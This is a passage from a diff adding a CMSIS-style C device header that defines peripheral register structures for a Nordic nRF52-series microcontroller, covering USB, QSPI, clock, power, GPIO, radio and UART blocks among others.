uint32_t MCK; /*!< (@ 0x00000000) Pin select for MCK signal. */ + __IOM uint32_t SCK; /*!< (@ 0x00000004) Pin select for SCK signal. */ + __IOM uint32_t LRCK; /*!< (@ 0x00000008) Pin select for LRCK signal. */ + __IOM uint32_t SDIN; /*!< (@ 0x0000000C) Pin select for SDIN signal. */ + __IOM uint32_t SDOUT; /*!< (@ 0x00000010) Pin select for SDOUT signal. */ +} I2S_PSEL_Type; /*!< Size = 20 (0x14) */ + + +/** + * @brief USBD_HALTED [HALTED] (Unspecified) + */ +typedef struct { + __IM uint32_t EPIN[8]; /*!< (@ 0x00000000) Description collection: IN endpoint halted status. + Can be used as is as response to a GetStatus() + request to endpoint. */ + __IM uint32_t RESERVED; + __IM uint32_t EPOUT[8]; /*!< (@ 0x00000024) Description collection: OUT endpoint halted status. + Can be used as is as response to a GetStatus() + request to endpoint. */ +} USBD_HALTED_Type; /*!< Size = 68 (0x44) */ + + +/** + * @brief USBD_SIZE [SIZE] (Unspecified) + */ +typedef struct { + __IOM uint32_t EPOUT[8]; /*!< (@ 0x00000000) Description collection: Number of bytes received + last in the data stage of this OUT endpoint */ + __IM uint32_t ISOOUT; /*!< (@ 0x00000020) Number of bytes received last on this ISO OUT + data endpoint */ +} USBD_SIZE_Type; /*!< Size = 36 (0x24) */ + + +/** + * @brief USBD_EPIN [EPIN] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Description cluster: Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Description cluster: Maximum number of bytes + to transfer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Description cluster: Number of bytes transferred + in the last transaction */ + __IM uint32_t RESERVED[2]; +} USBD_EPIN_Type; /*!< Size = 20 (0x14) */ + + +/** + * @brief USBD_ISOIN [ISOIN] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes to transfer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ +} USBD_ISOIN_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief USBD_EPOUT [EPOUT] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Description cluster: Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Description cluster: Maximum number of bytes + to transfer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Description cluster: Number of bytes transferred + in the last transaction */ + __IM uint32_t RESERVED[2]; +} USBD_EPOUT_Type; /*!< Size = 20 (0x14) */ + + +/** + * @brief USBD_ISOOUT [ISOOUT] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Data pointer */ + __IOM uint32_t MAXCNT; /*!< (@ 0x00000004) Maximum number of bytes to transfer */ + __IM uint32_t AMOUNT; /*!< (@ 0x00000008) Number of bytes transferred in the last transaction */ +} USBD_ISOOUT_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief QSPI_READ [READ] (Unspecified) + */ +typedef struct { + __IOM uint32_t SRC; /*!< (@ 0x00000000) Flash memory source address */ + __IOM uint32_t DST; /*!< (@ 0x00000004) RAM destination address */ + __IOM uint32_t CNT; /*!< (@ 0x00000008) Read transfer length */ +} QSPI_READ_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief QSPI_WRITE [WRITE] (Unspecified) + */ +typedef struct { + __IOM uint32_t DST; /*!< (@ 0x00000000) Flash destination address */ + __IOM uint32_t SRC; /*!< (@ 0x00000004) RAM source address */ + __IOM uint32_t CNT; /*!< (@ 0x00000008) Write transfer length */ +} QSPI_WRITE_Type; /*!< Size = 12 (0xc) */ + + +/** + * @brief QSPI_ERASE [ERASE] (Unspecified) + */ +typedef struct { + __IOM uint32_t PTR; /*!< (@ 0x00000000) Start address of flash block to be erased */ + __IOM uint32_t LEN; /*!< (@ 0x00000004) Size of block to be erased. */ +} QSPI_ERASE_Type; /*!< Size = 8 (0x8) */ + + +/** + * @brief QSPI_PSEL [PSEL] (Unspecified) + */ +typedef struct { + __IOM uint32_t SCK; /*!< (@ 0x00000000) Pin select for serial clock SCK */ + __IOM uint32_t CSN; /*!< (@ 0x00000004) Pin select for chip select signal CSN. */ + __IM uint32_t RESERVED; + __IOM uint32_t IO0; /*!< (@ 0x0000000C) Pin select for serial data MOSI/IO0. */ + __IOM uint32_t IO1; /*!< (@ 0x00000010) Pin select for serial data MISO/IO1. */ + __IOM uint32_t IO2; /*!< (@ 0x00000014) Pin select for serial data IO2. */ + __IOM uint32_t IO3; /*!< (@ 0x00000018) Pin select for serial data IO3. */ +} QSPI_PSEL_Type; /*!< Size = 28 (0x1c) */ + + +/** @} */ /* End of group Device_Peripheral_clusters */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup Device_Peripheral_peripherals + * @{ + */ + + + +/* =========================================================================================================================== */ +/* ================ FICR ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Factory information configuration registers (FICR) + */ + +typedef struct { /*!< (@ 0x10000000) FICR Structure */ + __IM uint32_t RESERVED[4]; + __IM uint32_t CODEPAGESIZE; /*!< (@ 0x00000010) Code memory page size */ + __IM uint32_t CODESIZE; /*!< (@ 0x00000014) Code memory size */ + __IM uint32_t RESERVED1[18]; + __IM uint32_t DEVICEID[2]; /*!< (@ 0x00000060) Description collection: Device identifier */ + __IM uint32_t RESERVED2[6]; + __IM uint32_t ER[4]; /*!< (@ 0x00000080) Description collection: Encryption root, word + n */ + __IM uint32_t IR[4]; /*!< (@ 0x00000090) Description collection: Identity Root, word n */ + __IM uint32_t DEVICEADDRTYPE; /*!< (@ 0x000000A0) Device address type */ + __IM uint32_t DEVICEADDR[2]; /*!< (@ 0x000000A4) Description collection: Device address n */ + __IM uint32_t RESERVED3[21]; + __IM FICR_INFO_Type INFO; /*!< (@ 0x00000100) Device info */ + __IM uint32_t RESERVED4[143]; + __IM uint32_t PRODTEST[3]; /*!< (@ 0x00000350) Description collection: Production test signature + n */ + __IM uint32_t RESERVED5[42]; + __IM FICR_TEMP_Type TEMP; /*!< (@ 0x00000404) Registers storing factory TEMP module linearization + coefficients */ + __IM uint32_t RESERVED6[2]; + __IOM FICR_NFC_Type NFC; /*!< (@ 0x00000450) Unspecified */ + __IM uint32_t RESERVED7[488]; + __IOM FICR_TRNG90B_Type TRNG90B; /*!< (@ 0x00000C00) NIST800-90B RNG calibration data */ +} NRF_FICR_Type; /*!< Size = 3104 (0xc20) */ + + + +/* =========================================================================================================================== */ +/* ================ UICR ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief User information configuration registers (UICR) + */ + +typedef struct { /*!< (@ 0x10001000) UICR Structure */ + __IM uint32_t RESERVED[5]; + __IOM uint32_t NRFFW[13]; /*!< (@ 0x00000014) Description collection: Reserved for Nordic firmware + design */ + __IM uint32_t RESERVED1[2]; + __IOM uint32_t NRFHW[12]; /*!< (@ 0x00000050) Description collection: Reserved for Nordic hardware + design */ + __IOM uint32_t CUSTOMER[32]; /*!< (@ 0x00000080) Description collection: Reserved for customer */ + __IM uint32_t RESERVED2[64]; + __IOM uint32_t PSELRESET[2]; /*!< (@ 0x00000200) Description collection: Mapping of the nRESET + function (see POWER chapter for details) */ + __IOM uint32_t APPROTECT; /*!< (@ 0x00000208) Access port protection */ + __IOM uint32_t NFCPINS; /*!< (@ 0x0000020C) Setting of pins dedicated to NFC functionality: + NFC antenna or GPIO */ + __IOM uint32_t DEBUGCTRL; /*!< (@ 0x00000210) Processor debug control */ + __IM uint32_t RESERVED3[60]; + __IOM uint32_t REGOUT0; /*!< (@ 0x00000304) Output voltage from REG0 regulator stage. The + maximum output voltage from this stage is + given as VDDH - V_VDDH-VDD. */ +} NRF_UICR_Type; /*!< Size = 776 (0x308) */ + + + +/* =========================================================================================================================== */ +/* ================ APPROTECT ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Access Port Protection (APPROTECT) + */ + +typedef struct { /*!< (@ 0x40000000) APPROTECT Structure */ + __IM uint32_t RESERVED[340]; + __IOM uint32_t FORCEPROTECT; /*!< (@ 0x00000550) Software force enable APPROTECT mechanism until + next reset. */ + __IM uint32_t RESERVED1; + __IOM uint32_t DISABLE; /*!< (@ 0x00000558) Software disable APPROTECT mechanism */ +} NRF_APPROTECT_Type; /*!< Size = 1372 (0x55c) */ + + + +/* =========================================================================================================================== */ +/* ================ CLOCK ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Clock control (CLOCK) + */ + +typedef struct { /*!< (@ 0x40000000) CLOCK Structure */ + __OM uint32_t TASKS_HFCLKSTART; /*!< (@ 0x00000000) Start HFXO crystal oscillator */ + __OM uint32_t TASKS_HFCLKSTOP; /*!< (@ 0x00000004) Stop HFXO crystal oscillator */ + __OM uint32_t TASKS_LFCLKSTART; /*!< (@ 0x00000008) Start LFCLK */ + __OM uint32_t TASKS_LFCLKSTOP; /*!< (@ 0x0000000C) Stop LFCLK */ + __OM uint32_t TASKS_CAL; /*!< (@ 0x00000010) Start calibration of LFRC */ + __OM uint32_t TASKS_CTSTART; /*!< (@ 0x00000014) Start calibration timer */ + __OM uint32_t TASKS_CTSTOP; /*!< (@ 0x00000018) Stop calibration timer */ + __IM uint32_t RESERVED[57]; + __IOM uint32_t EVENTS_HFCLKSTARTED; /*!< (@ 0x00000100) HFXO crystal oscillator started */ + __IOM uint32_t EVENTS_LFCLKSTARTED; /*!< (@ 0x00000104) LFCLK started */ + __IM uint32_t RESERVED1; + __IOM uint32_t EVENTS_DONE; /*!< (@ 0x0000010C) Calibration of LFRC completed */ + __IOM uint32_t EVENTS_CTTO; /*!< (@ 0x00000110) Calibration timer timeout */ + __IM uint32_t RESERVED2[5]; + __IOM uint32_t EVENTS_CTSTARTED; /*!< (@ 0x00000128) Calibration timer has been started and is ready + to process new tasks */ + __IOM uint32_t EVENTS_CTSTOPPED; /*!< (@ 0x0000012C) Calibration timer has been stopped and is ready + to process new tasks */ + __IM uint32_t RESERVED3[117]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED4[63]; + __IM uint32_t HFCLKRUN; /*!< (@ 0x00000408) Status indicating that HFCLKSTART task has been + triggered */ + __IM uint32_t HFCLKSTAT; /*!< (@ 0x0000040C) HFCLK status */ + __IM uint32_t RESERVED5; + __IM uint32_t LFCLKRUN; /*!< (@ 0x00000414) Status indicating that LFCLKSTART task has been + triggered */ + __IM uint32_t LFCLKSTAT; /*!< (@ 0x00000418) LFCLK status */ + __IM uint32_t LFCLKSRCCOPY; /*!< (@ 0x0000041C) Copy of LFCLKSRC register, set when LFCLKSTART + task was triggered */ + __IM uint32_t RESERVED6[62]; + __IOM uint32_t LFCLKSRC; /*!< (@ 0x00000518) Clock source for the LFCLK */ + __IM uint32_t RESERVED7[3]; + __IOM uint32_t HFXODEBOUNCE; /*!< (@ 0x00000528) HFXO debounce time. The HFXO is started by triggering + the TASKS_HFCLKSTART task. */ + __IM uint32_t RESERVED8[3]; + __IOM uint32_t CTIV; /*!< (@ 0x00000538) Calibration timer interval */ + __IM uint32_t RESERVED9[8]; + __IOM uint32_t TRACECONFIG; /*!< (@ 0x0000055C) Clocking options for the trace port debug interface */ + __IM uint32_t RESERVED10[21]; + __IOM uint32_t LFRCMODE; /*!< (@ 0x000005B4) LFRC mode configuration */ +} NRF_CLOCK_Type; /*!< Size = 1464 (0x5b8) */ + + + +/* =========================================================================================================================== */ +/* ================ POWER ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Power control (POWER) + */ + +typedef struct { /*!< (@ 0x40000000) POWER Structure */ + __IM uint32_t RESERVED[30]; + __OM uint32_t TASKS_CONSTLAT; /*!< (@ 0x00000078) Enable Constant Latency mode */ + __OM uint32_t TASKS_LOWPWR; /*!< (@ 0x0000007C) Enable Low-power mode (variable latency) */ + __IM uint32_t RESERVED1[34]; + __IOM uint32_t EVENTS_POFWARN; /*!< (@ 0x00000108) Power failure warning */ + __IM uint32_t RESERVED2[2]; + __IOM uint32_t EVENTS_SLEEPENTER; /*!< (@ 0x00000114) CPU entered WFI/WFE sleep */ + __IOM uint32_t EVENTS_SLEEPEXIT; /*!< (@ 0x00000118) CPU exited WFI/WFE sleep */ + __IOM uint32_t EVENTS_USBDETECTED; /*!< (@ 0x0000011C) Voltage supply detected on VBUS */ + __IOM uint32_t EVENTS_USBREMOVED; /*!< (@ 0x00000120) Voltage supply removed from VBUS */ + __IOM uint32_t EVENTS_USBPWRRDY; /*!< (@ 0x00000124) USB 3.3 V supply ready */ + __IM uint32_t RESERVED3[119]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED4[61]; + __IOM uint32_t RESETREAS; /*!< (@ 0x00000400) Reset reason */ + __IM uint32_t RESERVED5[9]; + __IM uint32_t RAMSTATUS; /*!< (@ 0x00000428) Deprecated register - RAM status register */ + __IM uint32_t RESERVED6[3]; + __IM uint32_t USBREGSTATUS; /*!< (@ 0x00000438) USB supply status */ + __IM uint32_t RESERVED7[49]; + __OM uint32_t SYSTEMOFF; /*!< (@ 0x00000500) System OFF register */ + __IM uint32_t RESERVED8[3]; + __IOM uint32_t POFCON; /*!< (@ 0x00000510) Power-fail comparator configuration */ + __IM uint32_t RESERVED9[2]; + __IOM uint32_t GPREGRET; /*!< (@ 0x0000051C) General purpose retention register */ + __IOM uint32_t GPREGRET2; /*!< (@ 0x00000520) General purpose retention register */ + __IM uint32_t RESERVED10[21]; + __IOM uint32_t DCDCEN; /*!< (@ 0x00000578) Enable DC/DC converter for REG1 stage */ + __IM uint32_t RESERVED11; + __IOM uint32_t DCDCEN0; /*!< (@ 0x00000580) Enable DC/DC converter for REG0 stage */ + __IM uint32_t RESERVED12[47]; + __IM uint32_t MAINREGSTATUS; /*!< (@ 0x00000640) Main supply status */ + __IM uint32_t RESERVED13[175]; + __IOM POWER_RAM_Type RAM[9]; /*!< (@ 0x00000900) Unspecified */ +} NRF_POWER_Type; /*!< Size = 2448 (0x990) */ + + + +/* =========================================================================================================================== */ +/* ================ P0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief GPIO Port 1 (P0) + */ + +typedef struct { /*!< (@ 0x50000000) P0 Structure */ + __IM uint32_t RESERVED[321]; + __IOM uint32_t OUT; /*!< (@ 0x00000504) Write GPIO port */ + __IOM uint32_t OUTSET; /*!< (@ 0x00000508) Set individual bits in GPIO port */ + __IOM uint32_t OUTCLR; /*!< (@ 0x0000050C) Clear individual bits in GPIO port */ + __IM uint32_t IN; /*!< (@ 0x00000510) Read GPIO port */ + __IOM uint32_t DIR; /*!< (@ 0x00000514) Direction of GPIO pins */ + __IOM uint32_t DIRSET; /*!< (@ 0x00000518) DIR set register */ + __IOM uint32_t DIRCLR; /*!< (@ 0x0000051C) DIR clear register */ + __IOM uint32_t LATCH; /*!< (@ 0x00000520) Latch register indicating what GPIO pins that + have met the criteria set in the PIN_CNF[n].SENSE + registers */ + __IOM uint32_t DETECTMODE; /*!< (@ 0x00000524) Select between default DETECT signal behavior + and LDETECT mode */ + __IM uint32_t RESERVED1[118]; + __IOM uint32_t PIN_CNF[32]; /*!< (@ 0x00000700) Description collection: Configuration of GPIO + pins */ +} NRF_GPIO_Type; /*!< Size = 1920 (0x780) */ + + + +/* =========================================================================================================================== */ +/* ================ RADIO ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief 2.4 GHz radio (RADIO) + */ + +typedef struct { /*!< (@ 0x40001000) RADIO Structure */ + __OM uint32_t TASKS_TXEN; /*!< (@ 0x00000000) Enable RADIO in TX mode */ + __OM uint32_t TASKS_RXEN; /*!< (@ 0x00000004) Enable RADIO in RX mode */ + __OM uint32_t TASKS_START; /*!< (@ 0x00000008) Start RADIO */ + __OM uint32_t TASKS_STOP; /*!< (@ 0x0000000C) Stop RADIO */ + __OM uint32_t TASKS_DISABLE; /*!< (@ 0x00000010) Disable RADIO */ + __OM uint32_t TASKS_RSSISTART; /*!< (@ 0x00000014) Start the RSSI and take one single sample of + the receive signal strength */ + __OM uint32_t TASKS_RSSISTOP; /*!< (@ 0x00000018) Stop the RSSI measurement */ + __OM uint32_t TASKS_BCSTART; /*!< (@ 0x0000001C) Start the bit counter */ + __OM uint32_t TASKS_BCSTOP; /*!< (@ 0x00000020) Stop the bit counter */ + __OM uint32_t TASKS_EDSTART; /*!< (@ 0x00000024) Start the energy detect measurement used in IEEE + 802.15.4 mode */ + __OM uint32_t TASKS_EDSTOP; /*!< (@ 0x00000028) Stop the energy detect measurement */ + __OM uint32_t TASKS_CCASTART; /*!< (@ 0x0000002C) Start the clear channel assessment used in IEEE + 802.15.4 mode */ + __OM uint32_t TASKS_CCASTOP; /*!< (@ 0x00000030) Stop the clear channel assessment */ + __IM uint32_t RESERVED[51]; + __IOM uint32_t EVENTS_READY; /*!< (@ 0x00000100) RADIO has ramped up and is ready to be started */ + __IOM uint32_t EVENTS_ADDRESS; /*!< (@ 0x00000104) Address sent or received */ + __IOM uint32_t EVENTS_PAYLOAD; /*!< (@ 0x00000108) Packet payload sent or received */ + __IOM uint32_t EVENTS_END; /*!< (@ 0x0000010C) Packet sent or received */ + __IOM uint32_t EVENTS_DISABLED; /*!< (@ 0x00000110) RADIO has been disabled */ + __IOM uint32_t EVENTS_DEVMATCH; /*!< (@ 0x00000114) A device address match occurred on the last received + packet */ + __IOM uint32_t EVENTS_DEVMISS; /*!< (@ 0x00000118) No device address match occurred on the last + received packet */ + __IOM uint32_t EVENTS_RSSIEND; /*!< (@ 0x0000011C) Sampling of receive signal strength complete */ + __IM uint32_t RESERVED1[2]; + __IOM uint32_t EVENTS_BCMATCH; /*!< (@ 0x00000128) Bit counter reached bit count value */ + __IM uint32_t RESERVED2; + __IOM uint32_t EVENTS_CRCOK; /*!< (@ 0x00000130) Packet received with CRC ok */ + __IOM uint32_t EVENTS_CRCERROR; /*!< (@ 0x00000134) Packet received with CRC error */ + __IOM uint32_t EVENTS_FRAMESTART; /*!< (@ 0x00000138) IEEE 802.15.4 length field received */ + __IOM uint32_t EVENTS_EDEND; /*!< (@ 0x0000013C) Sampling of energy detection complete. A new + ED sample is ready for readout from the + RADIO.EDSAMPLE register. */ + __IOM uint32_t EVENTS_EDSTOPPED; /*!< (@ 0x00000140) The sampling of energy detection has stopped */ + __IOM uint32_t EVENTS_CCAIDLE; /*!< (@ 0x00000144) Wireless medium in idle - clear to send */ + __IOM uint32_t EVENTS_CCABUSY; /*!< (@ 0x00000148) Wireless medium busy - do not send */ + __IOM uint32_t EVENTS_CCASTOPPED; /*!< (@ 0x0000014C) The CCA has stopped */ + __IOM uint32_t EVENTS_RATEBOOST; /*!< (@ 0x00000150) Ble_LR CI field received, receive mode is changed + from Ble_LR125Kbit to Ble_LR500Kbit. */ + __IOM uint32_t EVENTS_TXREADY; /*!< (@ 0x00000154) RADIO has ramped up and is ready to be started + TX path */ + __IOM uint32_t EVENTS_RXREADY; /*!< (@ 0x00000158) RADIO has ramped up and is ready to be started + RX path */ + __IOM uint32_t EVENTS_MHRMATCH; /*!< (@ 0x0000015C) MAC header match found */ + __IM uint32_t RESERVED3[2]; + __IOM uint32_t EVENTS_SYNC; /*!< (@ 0x00000168) Preamble indicator. */ + __IOM uint32_t EVENTS_PHYEND; /*!< (@ 0x0000016C) Generated in Ble_LR125Kbit, Ble_LR500Kbit and + Ieee802154_250Kbit modes when last bit is + sent on air. */ + __IM uint32_t RESERVED4[36]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED5[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED6[61]; + __IM uint32_t CRCSTATUS; /*!< (@ 0x00000400) CRC status */ + __IM uint32_t RESERVED7; + __IM uint32_t RXMATCH; /*!< (@ 0x00000408) Received address */ + __IM uint32_t RXCRC; /*!< (@ 0x0000040C) CRC field of previously received packet */ + __IM uint32_t DAI; /*!< (@ 0x00000410) Device address match index */ + __IM uint32_t PDUSTAT; /*!< (@ 0x00000414) Payload status */ + __IM uint32_t RESERVED8[59]; + __IOM uint32_t PACKETPTR; /*!< (@ 0x00000504) Packet pointer */ + __IOM uint32_t FREQUENCY; /*!< (@ 0x00000508) Frequency */ + __IOM uint32_t TXPOWER; /*!< (@ 0x0000050C) Output power */ + __IOM uint32_t MODE; /*!< (@ 0x00000510) Data rate and modulation */ + __IOM uint32_t PCNF0; /*!< (@ 0x00000514) Packet configuration register 0 */ + __IOM uint32_t PCNF1; /*!< (@ 0x00000518) Packet configuration register 1 */ + __IOM uint32_t BASE0; /*!< (@ 0x0000051C) Base address 0 */ + __IOM uint32_t BASE1; /*!< (@ 0x00000520) Base address 1 */ + __IOM uint32_t PREFIX0; /*!< (@ 0x00000524) Prefixes bytes for logical addresses 0-3 */ + __IOM uint32_t PREFIX1; /*!< (@ 0x00000528) Prefixes bytes for logical addresses 4-7 */ + __IOM uint32_t TXADDRESS; /*!< (@ 0x0000052C) Transmit address select */ + __IOM uint32_t RXADDRESSES; /*!< (@ 0x00000530) Receive address select */ + __IOM uint32_t CRCCNF; /*!< (@ 0x00000534) CRC configuration */ + __IOM uint32_t CRCPOLY; /*!< (@ 0x00000538) CRC polynomial */ + __IOM uint32_t CRCINIT; /*!< (@ 0x0000053C) CRC initial value */ + __IM uint32_t RESERVED9; + __IOM uint32_t TIFS; /*!< (@ 0x00000544) Interframe spacing in us */ + __IM uint32_t RSSISAMPLE; /*!< (@ 0x00000548) RSSI sample */ + __IM uint32_t RESERVED10; + __IM uint32_t STATE; /*!< (@ 0x00000550) Current radio state */ + __IOM uint32_t DATAWHITEIV; /*!< (@ 0x00000554) Data whitening initial value */ + __IM uint32_t RESERVED11[2]; + __IOM uint32_t BCC; /*!< (@ 0x00000560) Bit counter compare */ + __IM uint32_t RESERVED12[39]; + __IOM uint32_t DAB[8]; /*!< (@ 0x00000600) Description collection: Device address base segment + n */ + __IOM uint32_t DAP[8]; /*!< (@ 0x00000620) Description collection: Device address prefix + n */ + __IOM uint32_t DACNF; /*!< (@ 0x00000640) Device address match configuration */ + __IOM uint32_t MHRMATCHCONF; /*!< (@ 0x00000644) Search pattern configuration */ + __IOM uint32_t MHRMATCHMAS; /*!< (@ 0x00000648) Pattern mask */ + __IM uint32_t RESERVED13; + __IOM uint32_t MODECNF0; /*!< (@ 0x00000650) Radio mode configuration register 0 */ + __IM uint32_t RESERVED14[3]; + __IOM uint32_t SFD; /*!< (@ 0x00000660) IEEE 802.15.4 start of frame delimiter */ + __IOM uint32_t EDCNT; /*!< (@ 0x00000664) IEEE 802.15.4 energy detect loop count */ + __IOM uint32_t EDSAMPLE; /*!< (@ 0x00000668) IEEE 802.15.4 energy detect level */ + __IOM uint32_t CCACTRL; /*!< (@ 0x0000066C) IEEE 802.15.4 clear channel assessment control */ + __IM uint32_t RESERVED15[611]; + __IOM uint32_t POWER; /*!< (@ 0x00000FFC) Peripheral power control */ +} NRF_RADIO_Type; /*!< Size = 4096 (0x1000) */ + + + +/* =========================================================================================================================== */ +/* ================ UART0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Universal Asynchronous Receiver/Transmitter (UART0) + */ + +typedef struct { /*!< (@ 0x40002000) UART0 Structure */ + __OM uint32_t TASKS_STARTRX; /*!< (@ 0x00000000) Start UART receiver */ + __OM uint32_t TASKS_STOPRX; /*!< (@ 0x00000004) Stop UART receiver */ + __OM uint32_t TASKS_STARTTX; /*!< (@ 0x00000008) Start UART transmitter */ + __OM uint32_t TASKS_STOPTX; /*!< (@ 0x0000000C) Stop UART transmitter */ + __IM uint32_t RESERVED[3]; + __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend UART */ + __IM uint32_t RESERVED1[56]; + __IOM uint32_t EVENTS_CTS; /*!< (@ 0x00000100) CTS is activated (set low). Clear To Send. */ + __IOM uint32_t EVENTS_NCTS; /*!< (@ 0x00000104) CTS is deactivated (set high). Not Clear To Send. */ + __IOM uint32_t EVENTS_RXDRDY; /*!< (@ 0x00000108) Data received in RXD */ + __IM uint32_t RESERVED2[4]; + __IOM uint32_t EVENTS_TXDRDY; /*!< (@ 0x0000011C) Data sent from TXD */ + __IM uint32_t RESERVED3; + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) Error detected */ + __IM uint32_t RESERVED4[7]; + __IOM uint32_t EVENTS_RXTO; /*!< (@ 0x00000144) Receiver timeout */ + __IM uint32_t RESERVED5[46]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED6[64]; + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED7[93]; + __IOM uint32_t ERRORSRC; /*!< (@ 0x00000480) Error source */ + __IM uint32_t RESERVED8[31]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable UART */ + __IM uint32_t RESERVED9; + __IOM UART_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RXD; /*!< (@ 0x00000518) RXD register */ + __OM uint32_t TXD; /*!< (@ 0x0000051C) TXD register */ + __IM uint32_t RESERVED10; + __IOM uint32_t BAUDRATE; /*!< (@ 0x00000524) Baud rate. Accuracy depends on the HFCLK source + selected. */ + __IM uint32_t RESERVED11[17]; + __IOM uint32_t CONFIG; /*!< (@ 0x0000056C) Configuration of parity and hardware flow control */ +} NRF_UART_Type; /*!< Size = 1392 (0x570) */ + + + +/* =========================================================================================================================== */ +/* ================ UARTE0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief UART with EasyDMA 0 (UARTE0) + */ + +typedef struct { /*!< (@ 0x40002000) UARTE0 Structure */ + __OM uint32_t TASKS_STARTRX; /*!< (@ 0x00000000) Start UART receiver */ + __OM uint32_t TASKS_STOPRX; /*!< (@ 0x00000004) Stop UART receiver */ + __OM uint32_t TASKS_STARTTX; /*!< (@ 0x00000008) Start UART transmitter */ + __OM uint32_t TASKS_STOPTX; /*!< (@ 0x0000000C) Stop UART transmitter */ + __IM uint32_t RESERVED[7]; + __OM uint32_t TASKS_FLUSHRX; /*!< (@ 0x0000002C) Flush RX FIFO into RX buffer */ + __IM uint32_t RESERVED1[52]; + __IOM uint32_t EVENTS_CTS; /*!< (@ 0x00000100) CTS is activated (set low). Clear To Send. */ + __IOM uint32_t EVENTS_NCTS; /*!< (@ 0x00000104) CTS is deactivated (set high). Not Clear To Send. */ + __IOM uint32_t EVENTS_RXDRDY; /*!< (@ 0x00000108) Data received in RXD (but potentially not yet + transferred to Data RAM) */ + __IM uint32_t RESERVED2; + __IOM uint32_t EVENTS_ENDRX; /*!< (@ 0x00000110) Receive buffer is filled up */ + __IM uint32_t RESERVED3[2]; + __IOM uint32_t EVENTS_TXDRDY; /*!< (@ 0x0000011C) Data sent from TXD */ + __IOM uint32_t EVENTS_ENDTX; /*!< (@ 0x00000120) Last TX byte transmitted */ + __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) Error detected */ + __IM uint32_t RESERVED4[7]; + __IOM uint32_t EVENTS_RXTO; /*!< (@ 0x00000144) Receiver timeout */ + __IM uint32_t RESERVED5; + __IOM uint32_t EVENTS_RXSTARTED; /*!< (@ 0x0000014C) UART receiver has started */ + __IOM uint32_t EVENTS_TXSTARTED; /*!< (@ 0x00000150) UART transmitter has started */ + __IM uint32_t RESERVED6; + __IOM uint32_t EVENTS_TXSTOPPED; /*!< (@ 0x00000158) Transmitter stopped */ + __IM uint32_t RESERVED7[41]; + __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts between local events and tasks */ + __IM uint32_t RESERVED8[63]; + __IOM uint32_t INTEN; /*!< (@ 0x00000300) Enable or disable interrupt */ + __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Enable interrupt */ + __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Disable interrupt */ + __IM uint32_t RESERVED9[93]; + __IOM uint32_t ERRORSRC; /*!< (@ 0x00000480) Error source This register is read/write one + to clear. */ + __IM uint32_t RESERVED10[31]; + __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable UART */ + __IM uint32_t RESERVED11; + __IOM UARTE_PSEL_Type PSEL; /*!< (@ 0x00000508) Unspecified */ + __IM uint32_t RESERVED12[3]; + __IOM uint32_t BAUDRATE; /*!< (@ 0x00000524) Baud rate. Accuracy depends on the HFCLK source + selected. */ + __IM uint32_t RESERVED13[3]; + __IOM UARTE_RXD_Type RXD; /*!< (@ 0x00000534) RXD EasyDMA channel */ + __IM uint32_t RESERVED14; + __IOM UARTE_TXD_Type TXD; /*!< (@ 0x00000544) TXD EasyDMA channel */ + __IM uint32_t RESERVED15[7]; + __IOM uint32_t CONFIG; /*!< (@ 0x0000056C) Configuration of parity and hardware flow control */ +} NRF_UARTE_Type; /*!< Size = 1392 (0x570) */ + + + +/* =========================================================================================================================== */ +/* ================ SPI0 ================ */ +/* =========================================================================================================================== */ + + +/** + * @brief Serial Peripheral Interface 0 (SPI0) + */ + +typedef struct { /*!< (@ 0x40003000) SPI0 Structure */ + __IM uint32_t RESERVED[66]; + __IOM uint32_t EVENTS_READY; /*!< (@ 